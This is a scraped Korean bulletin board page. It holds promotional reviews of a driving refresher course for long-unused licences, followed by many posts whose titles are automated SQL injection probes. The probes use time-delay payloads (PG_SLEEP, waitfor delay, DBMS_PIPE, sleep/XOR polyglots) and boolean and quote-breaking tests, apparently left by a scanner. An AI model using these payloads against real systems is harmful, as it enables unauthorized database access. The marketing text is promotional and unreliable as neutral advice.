강화실전 코스 경험시내오프로드고속도로주차으로 자신감 완전 충전지금은 캠핑카로 강원도 산골 오지부터 해변가 캠핑장까지 스스로 운전하며 다니는 것이 제 일상이 되었습니다. 여러분도 장롱면허를 깨워 나만의 모험을 시작해 보세요. 10시간이면 충분합니다! |
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Thomas F. Guerrero | 2025-05-29 | |
#내당동 #비산동 #평리동 #상리동 #중리동 #이현동 #원대동1가~3가 헬스장 다니기 위해 받은 나의 장롱면허운전연수 후기서론 운동을 가로막는 변수, 이동 거리처음엔 단순한 건강 관리 목적이었어요. 가까운 헬스장에서 운동을 시작했는데, 시간이 갈수록 시설에 욕심이 생기더라고요. 결국 더 넓고 쾌적한 기구가 있는 헬스장을 찾아보니 집에서 차량으로 25분 거리였습니다. 문제는, 저는 운전할 줄 모르는 장롱면허였다는 것. 대중교통으로는 1시간 이상, 택시는 왕복으로 부담. 자전거는 땀 범벅. 그래서 결심했죠. 더 미룰 수 없다, 이제는 진짜 장롱면허운전연수를 받아야 할 때라고요.본론 3일간의 실전 연수, 헬스장까지 가는 여정연수 업체를 찾는 데 있어서 가장 중요하게 본 건 ① 친절한 강사, ② 유연한 스케줄, ③ 내가 원하는 동선 위주 연수였습니다. 마침 저와 잘 맞는 조건을 갖춘 장롱면허운전연수 업체를 발견했고, 자차가 있는 덕분에 10시간 과정에 29만 원이라는 비용도 부담 없었습니다.1일차 첫날은 차량 조작법부터 시작됐어요. 사이드미러 조절, 운전 자세, 기어 변속 등 기초 중의 기초를 차근차근 짚어주셨고, 강사님은 제 페이스에 맞춰 천천히 진도 나가주셨어요. 장롱면허운전연수의 강점은 바로 이런 맞춤형 코칭이죠. 기초 주행 때는 내가 어디로 가는지도 모를 만큼 긴장했지만, 보조 브레이크의 존재 덕분에 심리적으로 안정됐습니다. 차선을 유지하는 법, 감속 타이밍, 방향지시등 타이밍까지 빠르게 감을 잡아갔죠.2일차 본격적인 도로 주행입니다. 첫 목적지는 바로 제가 다니려는 헬스장이었어요. 실제로 자주 다닐 길을 먼저 익혀놓고 싶었거든요. 오전 피크 시간이 지났을 때 출발했는데요, 중간에 복잡한 교차로나 신호 없는 골목도 있었지만, 강사님이 위험 요인을 하나하나 사전에 알려주시니 정말 든든했어요. 특히 시속 60km 이상 도로에서 차간거리 유지하는 법을 익힌 게 큰 수확이었어요. 이게 바로 실전형 장롱면허운전연수의 묘미죠. 헬스장 도착 후 주차장까지 들어가는 길도 함께 체크하면서 완주!3일차 마지막 날은 고난도 주차 야간 주행. 제가 사는 아파트 단지 주차장을 중심으로 전면후진평행주차 연습을 반복했어요. 강사님이 알려주신 핸들 각도 위치 기억법은 평생 쓸 공식 같아요. 그리고 마침 날이 어두워질 무렵, 야간 주행까지 시도했습니다. 라이트 켜는 방법, 시야 확보법, 갑작스러운 보행자 대응 요령까지 빠짐없이 알려주시더라고요. 마지막으로 다시 헬스장까지 야간 주행을 완료하면서 실전 훈련을 마무리했습니다.결론 나를 위한 가장 실용적인 선택3일의 장롱면허운전연수는 단순히 기술을 익히는 걸 넘어서 저의 일상에 직접적인 변화를 가져다줬습니다. 이제는 날씨, 시간, 거리 때문에 헬스장을 망설일 이유가 없습니다. 운동하러 가는 길에 들리는 라디오 소리도, 혼자만의 운전 시간도 요즘 제 소확행 중 하나예요. 장롱면허운전연수는 그저 운전을 배우는 과정이 아니었어요. 제 생활 반경을 넓히고, 제 자신을 위한 시간을 더 확보하는 계기였죠. 정말, 진작 받을걸 그랬습니다. |
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내 용 |
-1 OR 2+300-300-1=0+0+0+1 | 2025-02-27 | |
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내 용 |
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@@XmpiL | |||
내 용 |
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1 ????%2527%2522 | |||
내 용 |
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1'" | |||
내 용 |
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'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' |
|||
내 용 |
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*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) |
|||
내 용 |
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cMaLlua6')) OR 255=(SELECT 255 FROM PG_SLEEP(15))-- | |||
내 용 |
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C42Y6noG') OR 871=(SELECT 871 FROM PG_SLEEP(15))-- | |||
내 용 |
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ZveB7r0M' OR 429=(SELECT 429 FROM PG_SLEEP(15))-- | |||
내 용 |
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-1)) OR 996=(SELECT 996 FROM PG_SLEEP(15))-- | |||
내 용 |
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-5) OR 347=(SELECT 347 FROM PG_SLEEP(15))-- | |||
내 용 |
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-5 OR 878=(SELECT 878 FROM PG_SLEEP(15))-- | |||
내 용 |
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dUTDW7rU')); waitfor delay '0:0:15' -- | |||
내 용 |
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SDl3h8uG'); waitfor delay '0:0:15' -- | |||
내 용 |
tsSLAueP | 2025-02-27 | |
y9mRGs4d'; waitfor delay '0:0:15' -- | |||
내 용 |
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1 waitfor delay '0:0:15' -- | |||
내 용 |
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-1)); waitfor delay '0:0:15' -- | |||
내 용 |
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-1); waitfor delay '0:0:15' -- | |||
내 용 |
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-1; waitfor delay '0:0:15' -- | |||
내 용 |
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(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ | |||
내 용 |
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0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | |||
내 용 |
tsSLAueP | 2025-02-27 | |
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | |||
내 용 |
tsSLAueP | 2025-02-27 | |
if(now()=sysdate(),sleep(15),0) | |||
내 용 |
tsSLAueP | 2025-02-27 | |
-1" OR 2+986-986-1=0+0+0+1 -- | |||
내 용 |
tsSLAueP | 2025-02-27 | |
-1' OR 2+824-824-1=0+0+0+1 or 'EA4jl27E'=' | |||
내 용 |
tsSLAueP | 2025-02-27 | |
-1' OR 2+596-596-1=0+0+0+1 -- | |||
내 용 |
tsSLAueP | 2025-02-27 | |
-1 OR 2+293-293-1=0+0+0+1 | |||
내 용 |
tsSLAueP | 2025-02-27 | |
-1 OR 2+241-241-1=0+0+0+1 -- | |||
내 용 |
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pprQpv5V | |||
내 용 |
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